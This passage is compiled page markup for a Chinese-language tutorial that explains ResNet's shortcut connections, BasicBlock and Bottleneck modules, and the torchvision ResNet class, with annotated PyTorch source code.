101\u6b21"})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u9762\u5404\u4e2aResNet\u7684\u6a21\u5757\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0ResNet-18\u548cResNet-34\u6bcf\u4e00\u5c42\u5185\uff0c\u6570\u636e\u7684\u5927\u5c0f\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u662fResNet-50\u3001ResNet-101\u548cResNet-152\u4e2d\u7684\u6bcf\u4e00\u5c42\u5185\u8f93\u5165\u548c\u8f93\u51fa\u7684channel\u6570\u76ee\u4e0d\u4e00\u6837\uff0c\u8f93\u51fa\u7684channel\u6269\u5927\u4e3a\u8f93\u5165channel\u76844\u500d\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u6bcf\u4e00\u5c42\u7684\u5377\u79ef\u7684\u5927\u5c0f\u4e5f\u53d8\u6362\u4e3a1\uff0c3\uff0c1\u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u4e2a\u53d1\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06ResNet-18\u548cResNet-34\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\u8fd9\u4e09\u7c7b\u7f51\u7edc\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\u3002\u4e8b\u5b9e\u4e0a\uff0ctorchvision\u7684\u6e90\u7801\u4e5f\u662f\u57fa\u4e8e\u8fd9\u79cd\u8bbe\u8ba1\u601d\u60f3\uff0c\u4f7f\u7528\u5982\u4e0b\u56fe\u7684BasicBlock\uff08\u5de6\uff09\u548cBottleNeck\uff08\u53f3\uff09\u6a21\u5757\uff0c\u5e76\u4e14\u4e3a\u4e86\u63a7\u5236\u8f93\u5165\u548c\u8f93\u51fa\u7684\u901a\u9053\u6570\u76ee\u7684\u53d8\u5316\uff0c\u5728\u4ee3\u7801\u4e2d\u8f93\u51fa\u7684\u901a\u9053\u7ef4\u5ea6\u4e5f\u901a\u8fc7expansion\u8fdb\u884c\u63a7\u5236\uff0c\u4e24\u4e2ablock\u7c7b\u8f93\u5165\u4e00\u4e2a\u901a\u9053\u4e3ain_planes\u7ef4\u7684\u5ea6\u7279\u5f81\u56fe\uff0c\u8f93\u51fa\u4e00\u4e2aplanes*block.expansion\u7ef4\u7684\u7279\u5f81\u56fe\uff0c\u5176\u4e2dplanes\u7684\u6570\u76ee\u5927\u5c0f\u7b49\u4e8ein_planes\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u4ee3\u7801\u53f3\u4fa7\u7684\u66f2\u7ebf\u5c31\u662f\u672c\u6587\u6700\u91cd\u8981\u7684shortcut\u652f\u8def\uff0c\u8be5\u652f\u8def\u4e0a\u7684downsample\u64cd\u4f5c\u662f\u4e3a\u4e86\u5bf9shortcut\u652f\u8def\u8fdb\u884c\u5927\u5c0f\u6216\u7ef4\u5ea6\u4e0a\u7684\u8c03\u6574\uff0c\u4ee5\u5e0c\u671b\u6267\u884c\u76f8\u52a0\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"block",src:s(56974).A+"",width:"928",height:"372"})}),"\n",(0,t.jsx)(e.h4,{id:"221-shortcut-connection",children:"2.2.1 Shortcut Connection."}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u518d\u5206\u6790\u4e00\u4e0bshortcut connection\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"shortcut",src:s(88723).A+"",width:"463",height:"273"})}),"\n",(0,t.jsx)(e.p,{children:"shortcut connection\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u6284\u8fd1\u9053\u201d\uff0c\u5b83\u6709\u4e24\u79cd\u65b9\u5f0f\uff0c\u5176\u4e00\u4e3a\u540c\u7b49\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u5373\u8f93\u5165\u8f93\u51fa\u76f4\u63a5\u76f8\u52a0\uff08\u5373\u4e0a\u56fe\u4e2d\u7684F(x) + x\uff09\uff0c\u53e6\u4e00\u79cd\u4e3a\u4e0d\u540c\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u7ed9x\u8865\u5145\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u6765\u5339\u914d\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u56fe\uff1a"}),"\n",(0,t.jsx)(e.img,{src:"./figures/shortcut2.jpg"}),"\n",(0,t.jsx)(e.p,{children:"\u5de6\uff1aVGG-19\u6a21\u578b\uff0c\u4f5c\u4e3a\u53c2\u8003\u3002 \u4e2d\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u666e\u901a\u7f51\u7edc\u3002 \u53f3\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u6b8b\u5dee\u7f51\u7edc\uff08\u5373resnet34\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u56fe\u6700\u53f3\u4fa7\u7684\u8def\u5f84\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u660e\u663e\u7684\u770b\u5230shortcut connection\u52a0\u5165\u4e86\u7f51\u7edc\u4e4b\u4e2d\uff0c\u540c\u65f6\uff0c\u56fe\u4e2d\u4e5f\u5f88\u660e\u663e\u7684\u53ef\u4ee5\u770b\u5230\uff0c\u5b9e\u7ebf\u90e8\u5206\u5c31\u662f\u8fdb\u884c\u4e86\u5355\u7eaf\u7684F(x)+x\u64cd\u4f5c\uff0c\u800c\u865a\u7ebf\u90e8\u5206\uff0c\u7b2c\u4e00\u4e2a\u5377\u79ef\u5c42\u7684stride\u662f2\uff08\u90a3\u4e2a/2\u7684\u610f\u601d\u5c31\u662fstride\u662f2\uff09\uff1b\u540c\u65f6\u6ce8\u610f\u5230\u6df1\u5ea6\u4e5f\u53d1\u751f\u4e86\u53d8\u6362\uff0cchannel\u6570\u76ee\u589e\u52a0\u4e00\u500d\uff08\u6269\u5927\u4e24\u500d\uff09\uff0c\u8fd9\u6837F(x)\u7684\u5206\u8fa8\u7387\u6bd4x\u5c0f\u4e00\u534a\uff0c\u539a\u5ea6\u6bd4x\u5927\u4e00\u500d\u3002\u5728\u8fd9\u6837\u7684shortcut connection\u4e2d\uff0c\u5c31\u9700\u8981\u8865\u5145\u7ebf\u6027\u6620\u5c04\u6765\u589e\u52a0\u7ef4\u5ea6\u3002\u5728ResNet\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e861 x 1\u7684\u5377\u79ef\u6838\u6765\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u8bba\u6587\u4e2d\u53c8\u63d0\u5230\u8bf4\uff1a\u201c\u2026\u2026where both designs have similar time complexity.\u201d \u65e2\u7136BasicBlock\u548cBottleneck\u4e8c\u8005\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7c7b\u4f3c\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd8\u8981\u989d\u5916\u8bbe\u8ba1\u4e00\u4e2aBottleneck\u7ed3\u6784\u5462\uff1f"}),"\n",(0,t.jsx)(e.p,{children:"\u6839\u636e\u524d\u9762\u7684\u53d9\u8ff0\u6211\u4eec\u77e5\u9053\uff0cBasicBlock\u7ed3\u6784\u6bd4\u4f20\u7edf\u7684\u5377\u79ef\u7ed3\u6784\u591a\u4e86\u4e00\u4e2ashortcut\u652f\u8def\uff0c\u7528\u4e8e\u4f20\u9012\u4f4e\u5c42\u7684\u4fe1\u606f\uff0c\u4f7f\u5f97\u7f51\u7edc\u80fd\u591f\u8bad\u7ec3\u5730\u5f88\u6df1\u3002\u800cBottleNeck\u5148\u901a\u8fc7\u4e00\u4e2a1x1\u7684\u5377\u79ef\u51cf\u5c11\u901a\u9053\u6570\uff0c\u4f7f\u5f97\u4e2d\u95f4\u5377\u79ef\u7684\u901a\u9053\u6570\u51cf\u5c11\u4e3a1/4\uff1b\u4e2d\u95f4\u7684\u666e\u901a\u5377\u79ef\u505a\u5b8c\u5377\u79ef\u540e\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8e\u8f93\u5165\u901a\u9053\u6570\uff1b\u7b2c\u4e09\u4e2a\u5377\u79ef\u7528\u4e8e\u6062\u590d\u901a\u9053\u6570\uff0c\u4f7f\u5f97BottleNeck\u7684\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8eBottleNeck\u7684\u8f93\u5165\u901a\u9053\u6570\u3002**\u6362\u53e5\u8bdd\u8bf4\uff0c\u8fd9\u4e24\u4e2a1x1\u5377\u79ef\u6709\u6548\u5730\u51cf\u5c11\u4e86\u5377\u79ef\u7684\u53c2\u6570\u4e2a\u6570\u548c\u8ba1\u7b97\u91cf\uff0c\u540c\u65f6\u51cf\u5c11\u4e86\u4e2d\u95f4\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\uff0c\u4f7f\u5355\u4e2aBlock\u6d88\u8017\u7684\u663e\u5b58\u66f4\u5c11\uff0c\u5728\u8f83\u6df1\u7684\u7f51\u7edc\u4e2dBottleNeck\u4f1a\u5728\u53c2\u6570\u4e0a\u66f4\u52a0\u8282\u7ea6\uff0c\u8fd9\u6837\u53ef\u4ee5\u6709\u5229\u4e8e\u6784\u5efa\u5c42\u6570\u66f4\u591a\u7684\u7f51\u7edc\uff0c\u540c\u65f6\u8fd8\u80fd\u4fdd\u6301\u6027\u80fd\u7684\u63d0\u5347\u3002**\u6240\u4ee5resnet50, resnet101\u548cresnet152\u4f7f\u7528\u4e86\u53e6\u5916\u8bbe\u8ba1\u7684BottleNeck\u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(e.h4,{id:"222-basicblock",children:"2.2.2 BasicBlock"}),"\n",(0,t.jsx)(e.p,{children:"BasicBlock\u6a21\u5757\u7528\u6765\u6784\u5efaresnet18\u548cresnet34"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError("BasicBlock only supports groups=1 and base_width=64")\n if dilation > 1:\n raise NotImplementedError("Dilation > 1 not supported in BasicBlock")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x # x \u7ed9\u81ea\u5df1\u5148\u5907\u4efd\u4e00\u4efd\n\n out = self.conv1(x) # \u5bf9x\u505a\u5377\u79ef \n out = self.bn1(out) # \u5bf9x\u5f52\u4e00\u5316 \n out = self.relu(out) # \u5bf9x\u7528\u6fc0\u6d3b\u51fd\u6570\n\n out = self.conv2(out) # \u5bf9x\u505a\u5377\u79ef\n out = self.bn2(out) # \u5f52\u4e00\u5316\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity # \u8fdb\u884cdownsample\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsx)(e.h4,{id:"223-bottleneck",children:"2.2.3 BottleNeck"}),"\n",(0,t.jsx)(e.p,{children:"BottleNeck\u6a21\u5757\u7528\u6765\u6784\u5efaresnet50\uff0cresnet101\u548cresnet152"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class Bottleneck(nn.Module):\n # Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)\n # while original implementation places the stride at the first 1x1 convolution(self.conv1)\n # according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.\n # This variant is also known as ResNet V1.5 and improves accuracy according to\n # https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.\n\n expansion: int = 4 # \u5bf9\u8f93\u51fa\u901a\u9053\u8fdb\u884c\u500d\u589e\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n width = int(planes * (base_width / 64.0)) * groups\n # Both self.conv2 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n self.conv2 = conv3x3(width, width, stride, groups, dilation)\n self.bn2 = norm_layer(width)\n self.conv3 = conv1x1(width, planes * self.expansion)\n self.bn3 = norm_layer(planes * self.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n # Bottleneckd forward\u51fd\u6570\u548cBasicBlock\u7c7b\u4f3c\uff0c\u4e0d\u518d\u989d\u5916\u6ce8\u91ca\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u518d\u5bf9\u4ee3\u7801\u4e2d",(0,t.jsx)(e.strong,{children:"expansion"}),"\u7684\u4f5c\u7528\u505a\u4e00\u4e2a\u8bf4\u660e\uff0c\u6211\u4eec\u53ef\u4ee5\u91cd\u65b0\u56de\u987e\u4e00\u4e0b\u4e0b\u9762\u8fd9\u5f20\u56fe\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(3850).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"expansion\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5bf9\u8f93\u51fa\u901a\u9053\u7684\u500d\u4e58\u3002\u5728BasicBlock\u548cBottleNeck\u4e2d\uff0c\u201c__init__\u201d\u51fd\u6570\u4e2d\u6709\u4e09\u4e2a\u6bd4\u8f83\u5173\u952e\u7684\u53c2\u6570\uff1ainplanes,planes\u548cstride\uff0c\u8fd9\u4e09\u8005\u5206\u522b\u8868\u793a\u8f93\u5165\u7684\u901a\u9053\u6570\uff0c\u8f93\u51fa\u7684\u901a\u9053\u6570\u548c\u6b65\u5e45\u3002\u5728\u4e24\u4e2a\u6a21\u5757\u4e2d\uff0c__init__\u4f20\u5165\u7684planes\u90fd\u662f64,128,156,512\uff0c\u4f46\u6211\u4eec\u89c2\u5bdf\u4e0a\u9762\u7684\u8868\u683c\uff0c\u4f1a\u53d1\u73b0\u5bf9\u4e8eResNet-50\uff0cResNet-101\u548cResNet-152\u800c\u8a00\uff0c\u5b83\u4eec\u9700\u8981\u7684\u8f93\u51fa\u901a\u9053\u5e94\u8be5\u4e3a256,512,1024,2048\u624d\u5bf9\u3002\u56e0\u6b64\u5728\u8fd9\u91cc\u8bbe\u7f6eexpansion=4\uff0c\u5bf9\u5e94\u4e0a\u9762BottleNeck\u4ee3\u7801\u4e2d\u768430\u884c\u548c31\u884c\uff0c\u5c06\u6bcf\u4e00\u4e2aplanes\u90fd\u4e58\u4e0a\u8fd9\u4e2aexpansion\uff0c\u5c31\u5f97\u5230\u4e86\u9700\u8981\u7684\u901a\u9053\u6570\uff1b\u800c\u5bf9\u4e8eResNet-18\u548cResNet-34\u800c\u8a00\uff0c\u8f93\u5165\u901a\u9053\u548c\u8f93\u51fa\u901a\u9053\u7684\u7ef4\u5ea6\u4e0a\u6ca1\u6709\u53d1\u751f\u53d8\u5316\uff0c\u56e0\u6b64expansion\u4e5f\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",children:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u597d\u6700\u57fa\u672c\u7684Bottlenneck\u548cBasicBlock\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u5efaResNet\u7f51\u7edc\u4e86\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class ResNet(nn.Module):\n def __init__(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u9009\u62e9\u57fa\u672c\u6a21\u5757\n layers: List[int], # \u6bcf\u4e00\u5c42block\u7684\u6570\u76ee\u6784\u6210 -> [3,4,6,3]\n num_classes: int = 1000, # \u5206\u7c7b\u6570\u76ee\n zero_init_residual: bool = False, # \u521d\u59cb\u5316\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n groups: int = 1,\n width_per_group: int = 64,\n replace_stride_with_dilation: Optional[List[bool]] = None,\n #########################################\n \n norm_layer: Optional[Callable[..., nn.Module]] = None, # norm\u5c42\n ) -> None:\n super().__init__()\n _log_api_usage_once(self)\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n self._norm_layer = norm_layer\n\t\t\n self.inplanes = 64 # \u8f93\u5165\u901a\u9053\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n self.dilation = 1 # \u7a7a\u6d1e\u5377\u79ef\n if replace_stride_with_dilation is None:\n # each element in the tuple indicates if we should replace\n # the 2x2 stride with a dilated convolution instead\n replace_stride_with_dilation = [False, False, False]\n if len(replace_stride_with_dilation) != 3:\n raise ValueError(\n "replace_stride_with_dilation should be None "\n f"or a 3-element tuple, got {replace_stride_with_dilation}"\n )\n self.groups = groups\n self.base_width = width_per_group\n #########################################\n \n self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)\n self.bn1 = norm_layer(self.inplanes)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n # \u901a\u8fc7_make_layer\u5e26\u5230\u5c42\u6b21\u5316\u8bbe\u8ba1\u7684\u6548\u679c\n self.layer1 = self._make_layer(block, 64, layers[0]) # \u5bf9\u5e94\u7740conv2_x\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # \u5bf9\u5e94\u7740conv3_x\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # \u5bf9\u5e94\u7740conv4_x\n self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # \u5bf9\u5e94\u7740conv5_x\n # \u5206\u7c7b\u5934\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\t\t\n # \u6a21\u578b\u521d\u59cb\u5316\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")\n elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n # Zero-initialize the last BN in each residual branch,\n # so that the residual branch starts with zeros, and each residual block behaves like an identity.\n # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677\n if zero_init_residual:\n for m in self.modules():\n if isinstance(m, Bottleneck) and m.bn3.weight is not None:\n nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]\n elif isinstance(m, BasicBlock) and m.bn2.weight is not None:\n nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]\n\t# \u5c42\u6b21\u5316\u8bbe\u8ba1\n def _make_layer(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u57fa\u672c\u6784\u6210\u6a21\u5757\u9009\u62e9\n planes: int, # \u8f93\u5165\u7684\u901a\u9053\n blocks: int, # \u6a21\u5757\u6570\u76ee\n stride: int = 1, # \u6b65\u957f\n dilate: bool = False, # \u7a7a\u6d1e\u5377\u79ef\uff0c\u4e0e\u672c\u6587\u65e0\u5173\n ) -> nn.Sequential:\n norm_layer = self._norm_layer\n downsample = None # \u662f\u5426\u91c7\u7528\u4e0b\u91c7\u6837\n ####################\u65e0\u5173#####################\n previous_dilation = self.dilation \n if dilate:\n self.dilation *= stride\n stride = 1\n #############################################\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n\t\t\n # \u4f7f\u7528layers\u5b58\u50a8\u6bcf\u4e2alayer\n layers = []\n layers.append(\n block(\n self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer\n )\n )\n self.inplanes = planes * block.expansion\n for _ in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n groups=self.groups,\n base_width=self.base_width,\n dilation=self.dilation,\n norm_layer=norm_layer,\n )\n )\n\t\t# \u5c06layers\u901a\u8fc7nn.Sequential\u8f6c\u5316\u4e3a\u7f51\u7edc\n return nn.Sequential(*layers)\n\n def _forward_impl(self, x: Tensor) -> Tensor:\n # See note [TorchScript super()]\n x = self.conv1(x) # conv1 x shape [1 64 112 112]\n x = self.bn1(x) # \u5f52\u4e00\u5316\u5904\u7406 \n x = self.relu(x) # \u6fc0\u6d3b\u51fd\u6570\n x = self.maxpool(x) # conv2_x\u76843x3 maxpool x shape [1 64 56 56]\n\n x = self.layer1(x) # layer 1\n x = self.layer2(x) # layer 2\n x = self.layer3(x) # layer 3\n x = self.layer4(x) # layer 4\n\n x = self.avgpool(x) # \u81ea\u9002\u5e94\u6c60\u5316\n x = torch.flatten(x, 1) \n x = self.fc(x) # \u5206\u7c7b\n\n return x\n\n def forward(self, x: Tensor) -> Tensor:\n return self._forward_impl(x) \n'})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u4e0d\u96be\u770b\u5230\uff0c\u9996\u5148\u662f\u4e00\u4e2a7 x 7\u7684\u5377\u79ef\u4f5c\u7528\u5728\u8f93\u5165\u76843\u7ef4\u56fe\u7247\u4e0a\uff0c\u5e76\u8f93\u5165\u4e00\u4e2a64\u7ef4\u7684\u7279\u5f81\u56fe\uff08\u5373self.inplanes\u7684\u521d\u59cb\u503c\uff09\uff0c\u901a\u8fc7BatchNorm\u5c42\uff0cReLU\u5c42\uff0cMaxPool\u5c42\uff1b\u7136\u540e\u7ecf\u8fc7_make_layer()\u51fd\u6570\u6784\u5efa\u76844\u5c42layer\uff0c\u6700\u540e\u7ecf\u8fc7\u4e00\u4e2aAveragePooling\u5c42\uff0c\u518d\u7ecf\u8fc7\u4e00\u4e2afc\u5c42\u5f97\u5230\u5206\u7c7b\u8f93\u51fa\u3002\u5728\u7f51\u7edc\u642d\u5efa\u8d77\u6765\u540e\uff0c\u8fd8\u5bf9\u6a21\u578b\u7684\u53c2\u6570(Conv2d\u3001BatchNorm2d\u3001last BN)\u8fdb\u884c\u4e86\u521d\u59cb\u5316\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u800c\u5bf9\u4e8e_make_layer\u51fd\u6570\uff0c\u4e00\u4e2a_make_layer()\u6784\u5efa\u4e00\u4e2alayer\u5c42\uff0c\u6bcf\u4e00\u4e2alayer\u5c42\u662f\u4e0a\u8ff0\u4e24\u79cd\u57fa\u672c\u6a21\u5757\u7684\u5806\u53e0\u3002\u8f93\u5165\u53c2\u6570\u4e2dblock\u4ee3\u8868\u8be5layer\u5806\u53e0\u6a21\u5757\u7684\u7c7b\u578b\uff0c\u53ef\u9009BasicBlock\u6216\u8005BottleNeck\uff1bblocks\u4ee3\u8868\u8be5layer\u4e2d\u5806\u53e0\u7684block\u7684\u6570\u76ee\uff1bplanes\u4e0e\u8be5layer\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u6709\u5173\uff0c\u6ce8\u610f\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u4e3aplanes * block.expansion\u3002\u9664\u6b64\u4e4b\u5916\uff0c _make_layer()\u662f\u7528\u6765\u751f\u6210\u6b8b\u5dee\u5757\u7684\uff0c\u8fd9\u5c31\u7275\u626f\u5230\u5b83\u7684\u7b2c\u56db\u4e2a\u53c2\u6570\uff1astride\uff0c\u5373\u5377\u79ef\u6b65\u5e45\u3002\u8be5\u51fd\u6570\u4e2d\u9996\u5148\u5b9a\u4e49\u4e86\u5982\u679cstride\u4e0d\u7b49\u4e8e1\u6216\u8005\u7ef4\u5ea6\u4e0d\u5339\u914d\uff08\u5373\u8f93\u5165\u901a\u9053\u4e0d\u6ee1\u8db3\u5bf9\u5e94\u5173\u7cfb\uff09\u7684\u65f6\u5019\u7684downsample\uff0c\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u4e00\u6b21BN\u64cd\u4f5c\u3002\u63a5\u7740\u5bf9inplanes\u548cplanes\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\u8fdb\u884c\u4e86\u4e00\u6b21downsample \uff0c\u5373\u5c06\u5e26downsample\u7684block\u6dfb\u52a0\u81f3layers\u3002\u8fd9\u6837\u4fdd\u8bc1\u4e86x\u548cout\u7684\u7ef4\u5ea6\u4e00\u81f4\uff0c\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u6dfb\u52a0\u4e86\u6307\u5b9a\u4e2a\u6570\u7684Block\uff0c\u7531\u4e8ex\u5df2\u7ecf\u7ef4\u5ea6\u4e00\u81f4\u4e86\uff0c\u8fd9\u6837\u6dfb\u52a0\u7684\u5176\u4ed6\u7684Block\u5c31\u53ef\u4ee5\u4e0d\u7528\u964d\u7ef4\u4e86\uff0c\u6240\u4ee5\u5faa\u73af\u6dfb\u52a0\u4e0d\u542bDownsample\u7684Block\u3002\u6b63\u5982\u4e0b\u9762\u4ee3\u7801\u6240\u793a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u4e00\u4e2alayer\u5305\u542b\u591a\u4e2ablock\u65f6\uff0c\u662f\u901a\u8fc7\u5411layers\u5217\u8868\u4e2d\u4f9d\u6b21\u52a0\u5165\u6bcf\u4e2ablock\uff0c\u6765\u5b9e\u73b0block\u7684\u5806\u53e0\u7684\u3002\u7b2c\u4e00\u4e2ablock\u9700\u8981\u7279\u6b8a\u5904\u7406\uff0c\u8be5block\u4f9d\u636e\u4f20\u5165\u7684self.inplanes, planes\u4ee5\u53castride\u5224\u65ad\uff0c\u53ef\u80fd\u542b\u6709downsample\u652f\u8def\uff1b\u8fd9\u4e2ablock\u7684\u8f93\u51fa\u7ef4\u5ea6\u662fplanes*block.expansion\u3002\u7d27\u63a5\u7740\u4fbf\u628aself.inplanes\u66f4\u65b0\u4e3a\u6b64\u503c\u4f5c\u4e3a\u540e\u7eedblock\u7684\u8f93\u5165\u7ef4\u5ea6\u3002\u540e\u9762\u7684block\u7684stride\u4e3a\u9ed8\u8ba4\u503c1\uff0c\u540c\u65f6\uff0c\u7531\u4e8e\u8f93\u5165\u4e3aself.inplanes\uff0c\u8f93\u51fa\u4e3aplanes*block.expansion\uff0c\u800cself.inplanes = planes * block.expansion\uff0c\u56e0\u6b64\u4e0d\u4f1a\u51fa\u73b0\u7279\u5f81\u56fe\u5927\u5c0f\u6216\u8005\u5c3a\u5bf8\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\uff0c\u4e0d\u53ef\u80fd\u51fa\u73b0downsample\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"3-\u603b\u7ed3",children:"3 